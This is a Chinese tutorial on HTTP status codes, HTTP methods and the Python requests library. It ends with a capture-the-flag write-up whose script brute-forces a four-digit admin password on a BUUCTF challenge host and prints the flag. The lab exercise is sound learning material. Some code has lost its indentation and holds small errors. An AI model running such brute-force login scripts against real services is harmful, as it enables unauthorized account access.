1、 HTTP常见状态码介绍
当我们从客户端向服务器发送请求时
服务器向我们返回状态码
状态码就是告诉我们服务器响应的状态
通过它,我们就可以知道当前请求是成功了还是出现了什么问题
状态码是由3位数字和原因短语组成的(比如最常见的:200 OK)
其中第一位数字表示响应类别,响应类别从1到5分为五种
状态码 | 响应类别 | 原因短语 |
---|---|---|
1XX | 信息性状态码(Informational) | 服务器正在处理请求 |
2XX | 成功状态码(Success) | 请求已正常处理完毕 |
3XX | 重定向状态码(Redirection) | 需要进行额外操作以完成请求 |
4XX | 客户端错误状态码(Client Error) | 客户端原因导致服务器无法处理请求 |
5XX | 服务器错误状态码(Server Error) | 服务器原因导致处理请求出错 |
常见状态码 | 原因 |
---|---|
200 | 请求成功 |
301 | 请求的资源已被永久的移动到新URI |
302 | 临时移动 |
400 | 客户端请求的语法错误,服务器无法理解 |
401 | 请求要求用户的身份认证 |
403 | 服务器理解请求客户端的请求,但是拒绝执行此请求 |
404 | 服务器无法根据客户端的请求找到资源(网页) |
408 | 服务器等待客户端发送的请求时间过长,超时 |
500 | 服务器内部错误,无法完成请求 |
503 | 由于超载或系统维护,服务器暂时的无法处理客户端的请求 |
504 | 充当网关或代理的服务器,未及时从远端服务器获取请求 |
505 | 服务器不支持请求的HTTP协议的版 |
HTTP常见方法 | 说明 |
---|---|
GET | 请求URL指定的资源。指定的资源经服务器端解析后返回响应内容 |
POST: | 传输实体主题 |
PUT | 传输文件 |
HEAD | 获取报文首部 |
DELETE | 删除文件 |
OPTIONS | 询问支持的方法 |
TRACE | 追踪路径 |
CONNECT | 要求用隧道协议链接代理 |
常见
2、python编程之HTTP请求
1、Request模块
Requests: 让 HTTP 服务人类,使用requests可以模拟浏览器的请求,比起之前用到的urllib,requests模块的api更加便捷(本质就是封装了urllib3)
注意:requests库发送请求将网页内容下载下来以后,并不会执行js代码,这需要我们自己分析目标站点然后发起新的request请求
官方文档:http://cn.python-requests.org/zh_CN/latest/
安装:pip3 install requests
调用:import requests
1、GET参数请求
- 当无参数时
使用request.get(url)调用
import requests #调用requests库
url = 'http://www.baidu.com'
r = requests.get(url) #获取url,将获取到的信息赋值给r
print(r.url)
- 当有参数时
使用request.get(url,params={key1:value,key2:value})
当有多个参数时,直接往后面加就行了
实例代码
import requests
url = 'http://127.0.0.1'
r = requests.get(url,params={'uasrname':'user','password':'pass'})
print(r.url)
运行结果
2、POST参数请求
- 无参数时
使用requests.post(url) - 有参数时
使用requests.post(url=url,data={key:value1,key:value2})
同样如果多个数据那就直接加在后面,实列代码与GET参数传递类似
3、自定义请求头
header = {key:value}
request.get(url,headers=headers)
r = request.get(url)
此段代码可以更改HTTP头的信息,代码如下
import requests
url = "127.0.0.1"
r1 = requests.get(url)
print(r1.headers)
headers = {'Content-Length':'400'}
r = requests.get(url,headers=headers)#使用自定义的请求头
print(r.request.headers)
常见的获取HTTP信息的方式
代码 | 说明 |
---|---|
r.url | 输出url |
r.status_code | 获取状态码 |
r.text | 获取响应文本(源代码) |
r.content | 获取响应文本(2进制流数据) |
r.headers | 获取响应头 |
r.cookie | 获取Cookie |
ADD:这里r.content可以通过decode方式将2进制数据流解码成字符串
如:r.content.decode()
3、实战之破解弱密码
目标:BUUCTF-BUU BRUTE 1
打开题目显示账号为admin,密码为4为数字弱密码,因此可以直接写脚本进行暴力破解
参考代码
import requests
url = 'http://33ff0af2-21cb-4c23-9368-4356a75f4f58.node3.buuoj.cn'
dict ='0123456789' #字典信息
for a in range(0,len(dict)): #生成1000-9999的数字
for b in range(0,len(dict)):
for c in range(0,len(dict)):
for d in range(0,len(dict)):
flag = dict[a] +dict[b] +dict[c] + dict[d]
payload = {'username': 'admin', 'password': flag}
r = requests.get(url, params=payload)
print(r.content.decode()+flag)
最后得到结果flag{c94b1ffb-f512-42ba-b8da-1ad4710645ce}且密码为6490